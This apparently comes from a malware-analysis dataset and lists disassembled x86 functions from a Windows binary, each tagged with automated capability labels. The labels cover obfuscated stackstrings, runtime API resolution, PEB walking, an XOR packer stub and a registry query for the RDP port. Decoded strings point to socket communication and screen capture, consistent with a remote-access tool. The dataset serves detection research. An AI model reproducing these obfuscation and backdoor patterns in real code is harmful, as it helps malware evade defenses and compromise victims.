joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415e10
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov ebp, ecx
lea eax, [esp + 0x28]
push edi
mov bl, 0x65
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 0x53
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], 0x70
mov byte [esp + 0x35], 0
call fcn.00417640
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], eax
push ecx
lea ecx, [esp + 0x14]
mov byte [esp + 0x20], 0x73
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], 0
call fcn.00417720
push eax
call esi
lea edx, [esp + 0x34]
lea ecx, [esp + 0x10]
push edx
mov dword [esp + 0x18], eax
mov byte [esp + 0x38], 0x73
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], 0x63
mov byte [esp + 0x3d], 0x74
mov byte [esp + 0x3e], 0
call fcn.00417720
push eax
call esi
lea eax, [esp + 0x48]
lea ecx, [esp + 0x10]
push eax
mov byte [esp + 0x4c], 0x63
mov byte [esp + 0x4d], 0x6c
mov byte [esp + 0x4e], 0x6f
mov byte [esp + 0x4f], 0x73
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x73
mov byte [esp + 0x52], 0x6f
mov byte [esp + 0x53], 0x63
mov byte [esp + 0x54], 0x6b
mov byte [esp + 0x55], bl
mov byte [esp + 0x56], 0x74
mov byte [esp + 0x57], 0
call fcn.00417720
push eax
call esi
lea ecx, [esp + 0x24]
mov byte [esp + 0x24], 0x72
push ecx
lea ecx, [esp + 0x14]
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2b], 0x76
mov byte [esp + 0x2c], 0
call fcn.00417720
push eax
call esi
mov byte [esp + 0x3c], 0x73
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x74
mov byte [esp + 0x3f], 0x73
mov byte [esp + 0x40], 0x6f
mov byte [esp + 0x41], 0x63
mov byte [esp + 0x42], 0x6b
lea edx, [esp + 0x3c]
lea ecx, [esp + 0x10]
push edx
mov byte [esp + 0x47], 0x6f
mov byte [esp + 0x48], 0x70
mov byte [esp + 0x49], 0x74
mov byte [esp + 0x4a], 0
call fcn.00417720
push eax
call esi
mov ebx, dword [esp + 0x5c]
mov esi, dword [esp + 0x60]
mov edi, dword [esp + 0x58]
cmp ebx, esi
mov dword [esp + 0x58], 0
jb 0x415fcc
mov dword [esp + 0x60], 0
mov eax, dword [ebp + 0xa8]
push 0
push esi
push edi
push eax
call dword [esp + 0x24]
test eax, eax
jg 0x415fad
mov ecx, dword [esp + 0x60]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x60], ecx
jl 0x415f8c
cmp dword [esp + 0x60], 0xf
je 0x416000
mov ecx, dword [esp + 0x58]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x5c], ecx
call dword [esp + 0x1c]
sub ebx, esi
cmp ebx, esi
jae 0x415f84
test ebx, ebx
jle 0x415ff4
xor esi, esi
mov ecx, dword [ebp + 0xa8]
push 0
push ebx
push edi
push ecx
call dword [esp + 0x24]
test eax, eax
jg 0x415feb
inc esi
cmp esi, 0xf
jl 0x415fd2
cmp esi, 0xf
je 0x416000
add dword [esp + 0x58], eax
mov eax, dword [esp + 0x58]
mov ecx, dword [esp + 0x5c]
cmp eax, ecx
je 0x416003
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44
ret 0xc
Function at 0x4173d0
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
sub esp, 0x60
mov al, 0x72
push ebx
mov byte [esp + 0x29], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x32], al
mov byte [esp + 0x3d], al
mov byte [esp + 0x43], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x4f], al
mov byte [esp + 0x55], al
mov al, 0x70
push edi
mov edi, ecx
mov bl, 0x65
mov byte [esp + 0x5b], al
mov byte [esp + 0x65], al
lea eax, [esp + 8]
mov cl, 0x5c
mov byte [esp + 0x2f], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x46], bl
mov byte [esp + 0x4f], bl
mov byte [esp + 0x52], bl
mov dl, 0x74
mov bl, 0x64
push eax
mov byte [esp + 0x2e], cl
mov byte [esp + 0x40], cl
mov byte [esp + 0x48], cl
mov byte [esp + 0x58], cl
mov byte [esp + 0x5c], cl
mov byte [esp + 0x62], cl
mov byte [esp + 0x66], cl
push 0xf003f
mov byte [esp + 0x2c], 0x53
mov byte [esp + 0x2d], 0x59
mov byte [esp + 0x2e], 0x53
mov byte [esp + 0x2f], 0x54
mov byte [esp + 0x30], 0x45
mov byte [esp + 0x31], 0x4d
mov byte [esp + 0x33], 0x43
mov byte [esp + 0x34], 0x75
mov byte [esp + 0x38], 0x6e
mov byte [esp + 0x39], dl
mov byte [esp + 0x3a], 0x43
mov byte [esp + 0x3b], 0x6f
mov byte [esp + 0x3c], 0x6e
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3f], 0x6f
mov byte [esp + 0x40], 0x6c
mov byte [esp + 0x41], 0x53
mov byte [esp + 0x43], dl
mov byte [esp + 0x45], 0x43
mov byte [esp + 0x46], 0x6f
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], dl
mov byte [esp + 0x4a], 0x6f
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4d], 0x54
mov byte [esp + 0x50], 0x6d
mov byte [esp + 0x51], 0x69
mov byte [esp + 0x52], 0x6e
mov byte [esp + 0x53], 0x61
mov byte [esp + 0x54], 0x6c
mov byte [esp + 0x55], 0x20
mov byte [esp + 0x56], 0x53
mov byte [esp + 0x59], 0x76
mov byte [esp + 0x5d], 0x57
mov byte [esp + 0x5e], bl
mov byte [esp + 0x5f], 0x73
mov byte [esp + 0x62], bl
mov byte [esp + 0x64], 0x77
mov byte [esp + 0x65], bl
mov byte [esp + 0x67], 0x54
mov byte [esp + 0x68], bl
mov byte [esp + 0x69], 0x73
mov byte [esp + 0x6b], dl
mov byte [esp + 0x6c], 0x63
mov byte [esp + 0x6e], 0
push 0
lea ecx, [esp + 0x30]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x41753b
pop edi
xor eax, eax
pop ebx
add esp, 0x60
ret
mov eax, 4
lea edx, [esp + 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push esi
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.PortNumber
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x1c]
push ecx
push 0x427408
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push str.LocalAlloc
push 0x427080
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xa
push 0x40
call eax
mov esi, eax
push 0xa
push esi
mov ecx, edi
mov byte [esi], 0x68
mov eax, dword [esp + 0x24]
mov dword [esi + 1], eax
call fcn.0041b410
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
pop edi
xor eax, eax
pop ebx
add esp, 0x60
ret
Function at 0x417640
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword [0x429cb0]
push ebx
push esi
push edi
test eax, eax
jne 0x4176e1
push ebx
nop
add ax, 1
add ax, 0xffff
push ecx
nop
pushal
popal
add ax, 1
add ax, 0xffff
push edx
nop
mov ax, ax
push edi
xor edx, edx
nop
add ax, 1
add ax, 0xffff
mov ebx, dword fs:[0x30]
add ax, 1
add ax, 0xffff
nop
nop
mov ecx, dword [ebx + 0xc]
add ax, 1
add ax, 0xffff
mov ecx, dword [ecx + 0x1c]
mov eax, dword [ecx + 8]
nop
mov edi, dword [ecx + 0x20]
add ax, 1
add ax, 0xffff
nop
mov ecx, dword [ecx]
add ax, 1
add ax, 0xffff
nop
cmp word [edi + 0x18], dx
jne 0x417696
pop edi
add ax, 1
add ax, 0xffff
pop edx
nop
nop
add ax, 1
add ax, 0xffff
pop ecx
add ax, 1
add ax, 0xffff
pop ebx
mov dword [0x429cb0], eax
nop
nop
mov eax, dword [0x429cb0]
pop edi
pop esi
pop ebx
ret
Function at 0x4198c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x178
push ebx
push ebp
push esi
mov ebp, ecx
lea eax, [esp + 0x28]
push edi
mov bl, 0x69
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0x30], 0x46
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], 0x64
mov byte [esp + 0x34], 0x46
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x73
mov byte [esp + 0x38], 0x74
mov byte [esp + 0x39], 0x46
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0x65
mov byte [esp + 0x3d], 0x41
mov byte [esp + 0x3e], 0
call fcn.00417640
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x40], eax
push ecx
lea ecx, [esp + 0x40]
mov byte [esp + 0x20], 0x46
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], 0x4e
mov byte [esp + 0x25], 0x65
mov byte [esp + 0x26], 0x78
mov byte [esp + 0x27], 0x74
mov byte [esp + 0x28], 0x46
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x6c
mov byte [esp + 0x2b], 0x65
mov byte [esp + 0x2c], 0x41
mov byte [esp + 0x2d], 0
call fcn.00417640
push eax
call esi
lea edx, [esp + 0x10]
lea ecx, [esp + 0x3c]
push edx
mov byte [esp + 0x14], 0x46
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0x6e
mov byte [esp + 0x17], 0x64
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1a], 0x6f
mov byte [esp + 0x1b], 0x73
mov byte [esp + 0x1c], 0x65
mov byte [esp + 0x1d], 0
call fcn.00417640
push eax
call esi
lea ebx, [ebp + 0x20]
mov edx, dword [esp + 0x18c]
mov dword [esp + 0x44], eax
mov ecx, 0x41
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
lea edi, [edx + 8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [edx + 4]
mov dword [ebp + 0x128], ecx
mov ecx, ebp
mov dword [ebp + 0x12c], 0
call fcn.00417a70
lea edx, [esp + 0x48]
push edx
push ebx
call dword [esp + 0x48]
mov esi, eax
cmp esi, 0xffffffff
je 0x419a58
mov eax, dword [ebp + 0x1c]
cmp eax, 4
je 0x419a58
cmp eax, 2
je 0x419a58
cmp eax, 6
je 0x419a58
push 0x6f
mov ecx, ebp
call fcn.00419350
push esi
call dword [esp + 0x48]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x178
ret 4
mov ecx, ebp
call fcn.00419a80
push esi
call dword [esp + 0x48]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x178
ret 4
Function at 0x41a0a0
Capabilities:
Move file

Disassembly:
push esi
push edi
push str.lstrlenA
mov edi, ecx
push 0x427080
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0xc]
push esi
call eax
lea eax, [eax + esi + 1]
push eax
push esi
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 8
mov ecx, edi
push 0x73
call fcn.00419350
pop edi
pop esi
ret 4
Function at 0x41aec0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov ebp, ecx
lea eax, [esp + 0x24]
push edi
mov bl, 0x65
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 0x77
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x76
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 0x4f
mov byte [esp + 0x31], 0x75
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], 0x47
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x74
mov byte [esp + 0x36], 0x4e
mov byte [esp + 0x37], 0x75
mov byte [esp + 0x38], 0x6d
mov byte [esp + 0x39], 0x44
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x76
mov byte [esp + 0x3c], 0x73
mov byte [esp + 0x3d], 0
call fcn.00417730
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [esp + 0x1c]
mov esi, eax
push ecx
lea ecx, [esp + 0x14]
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x76
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x4f
mov byte [esp + 0x25], 0x75
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x4f
mov byte [esp + 0x28], 0x70
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x2b], 0
call fcn.00417730
push eax
call edi
mov dword [esp + 0x14], eax
lea edx, [esp + 0x3c]
mov al, 0x72
push edx
lea ecx, [esp + 0x14]
mov byte [esp + 0x40], 0x77
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x76
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], 0x4f
mov byte [esp + 0x45], 0x75
mov byte [esp + 0x46], 0x74
mov byte [esp + 0x47], 0x50
mov byte [esp + 0x48], al
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x70
mov byte [esp + 0x4b], 0x61
mov byte [esp + 0x4c], al
mov byte [esp + 0x4d], bl
mov byte [esp + 0x4e], 0x48
mov byte [esp + 0x4f], bl
mov byte [esp + 0x50], 0x61
mov byte [esp + 0x51], 0x64
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], al
mov byte [esp + 0x54], 0
call fcn.00417730
push eax
call edi
mov dword [esp + 0x18], eax
call esi
test eax, eax
jne 0x41b012
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x44
ret
lea edx, [ebp + 0x10]
mov esi, 2
mov ecx, dword [ebp + 4]
mov edi, dword [edx]
mov ebx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebx
add edx, 4
and ecx, 3
dec esi
rep stosb byte es:[edi], al
jne 0x41b01a
push 0
push 0
lea eax, [ebp + 0x46]
push 0
lea edi, [ebp + 0x40]
push eax
push 0xffff
push edi
call dword [esp + 0x2c]
test eax, eax
je 0x41b05a
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x44
ret
lea esi, [ebp + 0x38]
mov ebx, 2
mov ecx, dword [esi]
mov edx, dword [esi - 0x28]
push 0x20
mov dword [ecx], edx
mov eax, dword [esi]
mov ecx, dword [ebp + 4]
mov dword [eax + 4], ecx
mov edx, dword [esi]
xor eax, eax
mov dword [edx + 0x10], eax
mov ecx, dword [esi]
mov dword [ecx + 0x14], eax
mov edx, dword [esi]
mov eax, dword [edi]
push edx
push eax
call dword [esp + 0x24]
add esi, 4
dec ebx
jne 0x41b062
mov al, 1
pop edi
mov byte [ebp + 0x45], al
pop esi
pop ebp
pop ebx
add esp, 0x44
ret
Function at 0x41b480
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov al, 0x74
mov cl, 0x69
mov byte [esp + 0x1b], al
mov byte [esp + 0x2a], al
lea eax, [esp + 0x18]
push edi
mov byte [esp + 0x1e], cl
mov byte [esp + 0x24], cl
mov bl, 0x65
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x20], 0x57
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x24], 0x46
mov byte [esp + 0x25], 0x6f
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], 0x53
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x67
mov byte [esp + 0x2b], 0x6c
mov byte [esp + 0x2c], bl
mov byte [esp + 0x2d], 0x4f
mov byte [esp + 0x2e], 0x62
mov byte [esp + 0x2f], 0x6a
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x33], 0
call fcn.00417640
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [esp + 0x14]
mov ebp, eax
push ecx
lea ecx, [esp + 0x14]
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x70
mov byte [esp + 0x1d], 0
call fcn.00417640
push eax
call edi
mov edx, dword [esi + 8]
push 0xffffffffffffffff
push edx
mov edi, eax
call ebp
push 0x96
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x41c460
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov dword [esp + 0x10], ecx
lea eax, [esp + 0x20]
push edi
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 0x4c
mov byte [esp + 0x29], 0x6f
mov byte [esp + 0x2a], 0x63
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], 0x41
mov byte [esp + 0x2e], 0x6c
mov byte [esp + 0x2f], 0x6c
mov byte [esp + 0x30], 0x6f
mov byte [esp + 0x31], 0x63
mov byte [esp + 0x32], 0
call fcn.00417640
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x38]
lea ebx, [esi + 1]
push ebx
push 0x40
call eax
mov ecx, esi
mov esi, dword [esp + 0x34]
mov ebp, eax
mov edx, ecx
shr ecx, 2
lea edi, [ebp + 1]
mov byte [ebp], 0x7e
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov al, 0x65
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], al
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
mov byte [esp + 0x1c], 0x4c
mov byte [esp + 0x1d], 0x6f
mov byte [esp + 0x1e], 0x63
mov byte [esp + 0x1f], 0x61
mov byte [esp + 0x20], 0x6c
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x25], 0
call fcn.00417640
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
mov esi, eax
call fcn.0041b410
push ebp
mov edi, eax
call esi
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 8
Function at 0x41cc60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x42488e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x1c], esi
mov dword [esi], 0x425178
lea eax, [esp + 0x2c]
mov bl, 0x65
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x54], 0
mov byte [esp + 0x30], 0x52
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], 0x61
mov byte [esp + 0x35], 0x73
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x44
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x39], 0
call fcn.00417700
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push ecx
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 0x44
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x6c
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x44
mov byte [esp + 0x2b], 0x43
mov byte [esp + 0x2c], 0
call fcn.00417710
push eax
call ebp
lea edx, [esp + 0x38]
lea ecx, [esp + 0x10]
push edx
mov edi, eax
mov byte [esp + 0x3c], 0x44
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 0x74
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x4f
mov byte [esp + 0x43], 0x62
mov byte [esp + 0x44], 0x6a
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x63
mov byte [esp + 0x47], 0x74
mov byte [esp + 0x48], 0
call fcn.00417710
push eax
call ebp
mov ecx, dword [esi + 0x10c]
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x44]
push eax
push ecx
call dword [esp + 0x1c]
mov edx, dword [esi + 0x48]
push edx
call edi
mov eax, dword [esi + 0x4c]
push eax
call edi
mov ecx, dword [esi + 0x50]
push ecx
call edi
mov edx, dword [esi + 0x80]
push edx
call edi
mov eax, dword [esi + 0x54]
mov edi, dword [esp + 0x18]
push eax
call edi
mov ecx, dword [esi + 0x58]
push ecx
call edi
mov edx, dword [esi + 0x84]
push edx
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x41cdbe
push eax
call fcn.00423fc0
add esp, 4
mov eax, dword [esi + 0x68]
push eax
call fcn.00423fc0
mov eax, dword [esi + 0x64]
push eax
call fcn.00423fc0
mov eax, dword [esi + 0x6c]
push eax
call fcn.00423fc0
mov al, 0x72
add esp, 0xc
mov byte [esp + 0x3c], al
mov cl, 0x6f
mov byte [esp + 0x41], al
mov byte [esp + 0x44], al
lea eax, [esp + 0x38]
mov byte [esp + 0x3d], cl
mov byte [esp + 0x43], cl
push eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x54], 0xffffffff
mov dword [esi + 0x88], 0x4250b4
mov byte [esp + 0x3c], 0x44
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x73
mov byte [esp + 0x3f], 0x74
mov byte [esp + 0x42], 0x79
mov byte [esp + 0x43], 0x43
mov byte [esp + 0x44], 0x75
mov byte [esp + 0x46], 0x73
mov byte [esp + 0x49], 0
call fcn.00417700
push eax
call ebp
mov ebx, eax
add esi, 0xcc
mov edi, 0x10
mov ecx, dword [esi]
push ecx
call ebx
add esi, 4
dec edi
jne 0x41ce50
mov ecx, dword [esp + 0x48]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x44
ret
Function at 0x41d3e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x63
mov byte [esp + 0xb], al
mov byte [esp + 0x11], al
mov byte [esp + 0x1a], al
lea eax, [esp + 8]
mov dl, 0x6e
mov byte [esp + 0xf], cl
mov byte [esp + 0x15], cl
push eax
lea ecx, [esp + 8]
mov byte [esp + 0xc], 0x49
mov byte [esp + 0xd], dl
mov byte [esp + 0xe], 0x74
mov byte [esp + 0x10], 0x72
mov byte [esp + 0x11], 0x6c
mov byte [esp + 0x12], 0x6f
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x16], 0x64
mov byte [esp + 0x17], 0x45
mov byte [esp + 0x18], 0x78
mov byte [esp + 0x1a], 0x68
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], dl
mov byte [esp + 0x1d], 0x67
mov byte [esp + 0x1f], 0
call fcn.00417640
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x20]
add esi, 4
push ecx
push esi
call eax
pop esi
add esp, 0x18
ret 4
Function at 0x41dae0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
push esi
mov esi, ecx
mov al, 0x65
mov cl, 0x63
mov byte [esp + 0xb], al
mov byte [esp + 0x11], al
mov byte [esp + 0x1a], al
lea eax, [esp + 8]
mov dl, 0x6e
mov byte [esp + 0xf], cl
mov byte [esp + 0x15], cl
push eax
lea ecx, [esp + 8]
mov byte [esp + 0xc], 0x49
mov byte [esp + 0xd], dl
mov byte [esp + 0xe], 0x74
mov byte [esp + 0x10], 0x72
mov byte [esp + 0x11], 0x6c
mov byte [esp + 0x12], 0x6f
mov byte [esp + 0x14], 0x6b
mov byte [esp + 0x16], 0x64
mov byte [esp + 0x17], 0x45
mov byte [esp + 0x18], 0x78
mov byte [esp + 0x1a], 0x68
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1c], dl
mov byte [esp + 0x1d], 0x67
mov byte [esp + 0x1f], 0
call fcn.00417640
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dl, byte [esp + 0x20]
mov ecx, 0xcc0020
test dl, dl
je 0x41db70
mov ecx, 0x40cc0020
add esi, 0x10
push ecx
push esi
call eax
pop esi
add esp, 0x18
ret 4

Function at 0x41dbc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x30
push ebx
push ebp
mov al, 0x6f
push esi
push edi
mov byte [esp + 0x34], al
mov byte [esp + 0x3a], al
mov edi, ecx
lea eax, [esp + 0x2c]
mov bl, 0x65
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 0x47
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], 0x44
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x73
mov byte [esp + 0x36], 0x6b
mov byte [esp + 0x37], 0x74
mov byte [esp + 0x39], 0x70
mov byte [esp + 0x3a], 0x57
mov byte [esp + 0x3b], 0x69
mov byte [esp + 0x3c], 0x6e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3f], 0x77
mov byte [esp + 0x40], 0
call fcn.00417700
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
lea ecx, [esp + 0x18]
mov ebp, eax
push ecx
lea ecx, [esp + 0x14]
mov byte [esp + 0x1c], 0x47
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], 0x44
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0
call fcn.00417700
push eax
call esi
lea edx, [esp + 0x20]
lea ecx, [esp + 0x10]
push edx
mov dword [esp + 0x18], eax
mov byte [esp + 0x24], 0x52
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x6c
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x61
mov byte [esp + 0x29], 0x73
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x44
mov byte [esp + 0x2c], 0x43
mov byte [esp + 0x2d], 0
call fcn.00417700
push eax
call esi
mov esi, eax
call fcn.0040e4e0
mov bl, al
test bl, bl
je 0x41dcd3
mov eax, dword [edi + 0x44]
mov ecx, dword [edi + 0x10c]
push eax
push ecx
call esi
call ebp
push eax
mov dword [edi + 0x10c], eax
call dword [esp + 0x18]
mov dword [edi + 0x44], eax
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 0x30
ret
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219